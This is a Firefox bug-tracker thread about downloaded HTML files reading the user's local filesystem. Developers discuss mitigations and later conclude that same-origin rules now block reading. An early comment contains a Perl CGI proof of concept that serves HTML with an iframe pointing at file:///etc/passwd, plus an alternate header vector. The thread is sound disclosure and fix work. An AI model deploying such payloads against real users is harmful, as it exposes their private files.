Closed Bug 369462 Opened 15 years ago Closed 1 year ago
"Content-Disposition: attachment" + text/html allows the downloaded file to read some parts of the user's filesystem
known filenames in external applications on linux and macosx opening a pdf novell.pdf in document viewer creates the file: on linux: $HOME/tmp/novell.pdf on macosx: $HOME/Desktop/novell.pdf the extension may be arbitrary, so ability to open local files in firefox allows reading local files if a pdf is opened.
modification of this allows reading local files at least on ubuntu. perl script named "att.html" containing html but served: Content-type: application/x-java-jnlp-file produces a dialog basically saying: "do you want to open an html file with firefox". if open is chosen, the file is opened from the filesystem, allowing reading local files. perl script, save in cgi-bin as att.html ; chmod +x att.html -------------- #!/usr/bin/perl print "Content-type: application/x-java-jnlp-file\r\n"; #print "Content-Disposition: attachment;filename=aaa\r\n"; print "\r\n"; print "attach\n"; print "<iframe id='i1' src='file:///etc/passwd'></iframe><script>setTimeout('alert(document.all.i1.contentWindow.document.body.innerHTML)',2000)</script>";
another exploit vector allowing stealing local files at the cost of innocent dialog asking to start firefox is: print "Content-Disposition: attachment;filename=aaa.html\r\n";
Maybe Firefox should put each file downloaded due to content-disposition:attachment into a new subdirectory of the tmp directory. That way, the downloaded file will only be able to access itself (thanks to the fix for bug 230606). For files saved manually, it may be trickier to fix this problem without hurting user experience.
Depends on: 230606
Summary: known filenames in external applications on linux and macosx → "Content-Disposition: attachment" + text/html allows the downloaded file to read some parts of the user's filesystem
Version: 1.8 Branch → Trunk
>Maybe Firefox should put each file downloaded due to >content-disposition:attachment into a new subdirectory of the tmp directory. this seems nice. the main exploit vector is that content-disposition ask innocent question and may hurt. >For files saved manually, it may be trickier to fix this problem without >hurting user experience. agreed
IIRC, one of the speakers at BlackHat/DEFCON 2009 came very close to discovering this bug. I don't think we can keep it secret for long, and if it's really still [sg:moderate] with the partial same-origin tightening in bug 230606, we need to do something. Possible solutions: 1) Use a Downloads folder on all platforms (not Desktop or tmp), so the files exposed are at least limited to other downloads. 2) Randomize the filenames of all (other) downloaded files. 3) Put content-disposition:attachment files in subdirectories of the Downloads rather than directly in Downloads. 4) Tighten the same-origin policy for local files to same-file-only. 5) Tighten the same-origin policy only in "special" directories (Downloads, tmp). Even once Firefox uses a Downloads directory on all platforms, this bug is still scary. For example, maybe there's a URL I can send you to that will cause you to download your Gmail address book as a file, with a filename I know. Demo: http://www.squarefree.com/content-disposition-attachment/read.html
("Attacking Tor at the Application Layer" was the talk that revealed or almost revealed this bug.)
[Quickly skimming through security bugs.] Is this still an issue? For quite a while now we've placed same-origin restrictions on file:///, so that reading things in other directories (or even the same directory) shouldn't be possible. I'm not sure what, if anything, could be done about the "revealing the path" issue... If you save a file to /usr/bacon/download/foo.html, foo.html is going to be able to see its path as "/usr/bacon/download/". I suppose we could try blocking that, but I'd worry that it could leak in from other areas. Perhaps this merits a downgrade to sg:low as "just" a privacy issue?
script still reads my /etc/passwd into the HTML if I choose to open it, so yes, still an issue. Whatever same-origin restrictions are supposed to be on file:// url's aren't stopping it. bz/biesi/honza: any ideas how to fix this?
> script still reads my /etc/passwd into the HTML if I choose to open it Reads it in as in loads it in the iframe? Or as in alerts its contents?
As far as I can tell, it's just the former, as long as "security.fileuri.strict_origin_policy" is set to its default value of "true". As in, the system is working as expected. Do you see something different?
reads into inframe, no alert.
That sounds like this bug is fixed as filed; it's no different from web sites being able to frame (but not read) each other.
Putting each download into a subdir sounds like really bad UX, so I'd like to avoid that. I sorta like IE's idea for just opening a prompt to check if running script should be allowed. How about we close this as-filed, and open a new bug on doing that. (Probably referencing back here.) This bug could probably just be opened up, too.
Putting each download in a subdir would be invisible for files in tmp/. I'd rather tighten the same-origin policy than prompt for all scripts in local files. Scripts are extremely common and we'd be prompting all the time. (See comment 7 #4 / #5).
10 years ago
You need to log in before you can comment on or make changes to this bug.